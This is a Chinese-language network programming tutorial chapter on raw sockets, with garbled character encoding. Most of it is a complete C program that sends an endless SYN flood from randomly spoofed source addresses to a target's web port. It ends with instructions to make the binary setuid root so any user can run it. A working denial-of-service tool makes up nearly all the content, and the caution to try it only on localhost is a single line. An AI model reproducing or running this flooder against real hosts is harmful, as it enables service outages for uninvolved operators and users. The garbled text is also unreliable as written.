原始套接字
     我們?cè)谇懊嬉呀?jīng)學(xué)習(xí)過了網(wǎng)絡(luò)程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章 里面我們一起來學(xué)習(xí)另外一種套接字--原始套接字(SOCK_RAW). 應(yīng)用原始套接字,我們可以編寫出由TCP和UDP套接字不能夠?qū)崿F(xiàn)的功能. 注意原始套接字只能夠由有root權(quán)限的人創(chuàng)建.

10.1 原始套接字的創(chuàng)建

int sockfd(AF_INET,SOCK_RAW,protocol)

可以創(chuàng)建一個(gè)原始套接字.根據(jù)協(xié)議的類型不同我們可以創(chuàng)建不同類型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細(xì)的情況查看 下面我們以一個(gè)實(shí)例來說明原始套接字的創(chuàng)建和使用

10.2 一個(gè)原始套接字的實(shí)例
還記得DOS是什么意思嗎?在這里我們就一起來編寫一個(gè)實(shí)現(xiàn)DOS的小程序. 下面是程序的源代碼

/********************   DOS.c                *****************/
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define DESTPORT         80        /* 要攻擊的端口(WEB)       */
#define LOCALPORT        8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;

if(argc!=2)
{
         fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
         exit(1);
}

bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)
{
         host=gethostbyname(argv[1]);
         if(host==NULL)
         {
                 fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
                 exit(1);
         }
         addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}

/**** 使用IPPROTO_TCP創(chuàng)建一個(gè)TCP的原始套接字     ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
         fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
         exit(1);
}
/********   設(shè)置IP數(shù)據(jù)包格式,告訴系統(tǒng)內(nèi)核模塊IP數(shù)據(jù)包由我們自己來填寫   ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/****   沒有辦法,只用超級(jí)護(hù)用戶才可以使用原始套接字     *********/
setuid(getpid());

/*********   發(fā)送炸彈了!!!!           ****/
send_tcp(sockfd,&addr);
}



/*******   發(fā)送炸彈的實(shí)現(xiàn)    *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100];   /**** 用來放置我們的數(shù)據(jù)包   ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;

/******* 我們的數(shù)據(jù)包實(shí)際上沒有任何內(nèi)容,所以長(zhǎng)度就是兩個(gè)結(jié)構(gòu)的長(zhǎng)度   ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

/********   填充IP數(shù)據(jù)包的頭部,還記得IP的頭格式嗎?      ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION;              /** 版本一般的是 4       **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP數(shù)據(jù)包的頭部長(zhǎng)度   **/
ip->ip_tos=0;                    /** 服務(wù)類型             **/
ip->ip_len=htons(head_len);      /** IP數(shù)據(jù)包的長(zhǎng)度       **/
ip->ip_id=0;                     /** 讓系統(tǒng)去填寫吧       **/
ip->ip_off=0;                    /** 和上面一樣,省點(diǎn)時(shí)間 **/        
ip->ip_ttl=MAXTTL;               /** 最長(zhǎng)的時(shí)間    255     **/
ip->ip_p=IPPROTO_TCP;            /** 我們要發(fā)的是 TCP包   **/
ip->ip_sum=0;                    /** 校驗(yàn)和讓系統(tǒng)去做     **/
ip->ip_dst=addr->sin_addr;       /** 我們攻擊的對(duì)象       **/

/*******   開始填寫TCP數(shù)據(jù)包                            *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port;            /** 目的端口     **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1;                         /** 我要建立連接 **/
tcp->check=0;


/** 好了,一切都準(zhǔn)備好了.服務(wù)器,你準(zhǔn)備好了沒有?? ^_^   **/
while(1)
   {
/**   你不知道我是從那里來的,慢慢的去等吧!       **/
     ip->ip_src.s_addr=random();     

/** 什么都讓系統(tǒng)做了,也沒有多大的意思,還是讓我們自己來校驗(yàn)頭部吧 */
/**             下面這條可有可無     */
     tcp->check=check_sum((unsigned short *)tcp,
                 sizeof(struct tcphdr));
     sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
   }
}

/* 下面是首部校驗(yàn)和的算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
   short answer=0;

while(nleft>1)
{
   sum+=*w++;
   nleft-=2;
}
if(nleft==1)
{
   *(unsigned char *)(&answer)=*(unsigned char *)w;
   sum+=answer;
}
  
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

編譯一下,拿localhost做一下實(shí)驗(yàn),看看有什么結(jié)果.(千萬不要試別人的啊). 為了讓普通用戶可以運(yùn)行這個(gè)程序,我們應(yīng)該將這個(gè)程序的所有者變?yōu)閞oot,且 設(shè)置setuid位

[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS


10.3 總結(jié)
原始套接字和一般的套接字不同的是以前許多由系統(tǒng)做的事情,現(xiàn)在要由我們自己來做了. 不過這里面是不是有很多的樂趣呢. 當(dāng)我們創(chuàng)建了一個(gè)TCP套接字的時(shí)候,我們只是負(fù)責(zé)把我們要發(fā)送的內(nèi)容(buffer)傳遞給了系統(tǒng). 系統(tǒng)在收到我們的數(shù)據(jù)后,回自動(dòng)的調(diào)用相應(yīng)的模塊給數(shù)據(jù)加上TCP頭部,然后加上IP頭部. 再發(fā)送出去.而現(xiàn)在是我們自己創(chuàng)建各個(gè)的頭部,系統(tǒng)只是把它們發(fā)送出去. 在上面的實(shí)例中,由于我們要修改我們的源IP地址,所以我們使用了setsockopt函數(shù),如果我們只是修改TCP數(shù)據(jù),那么IP數(shù)據(jù)一樣也可以由系統(tǒng)來創(chuàng)建的.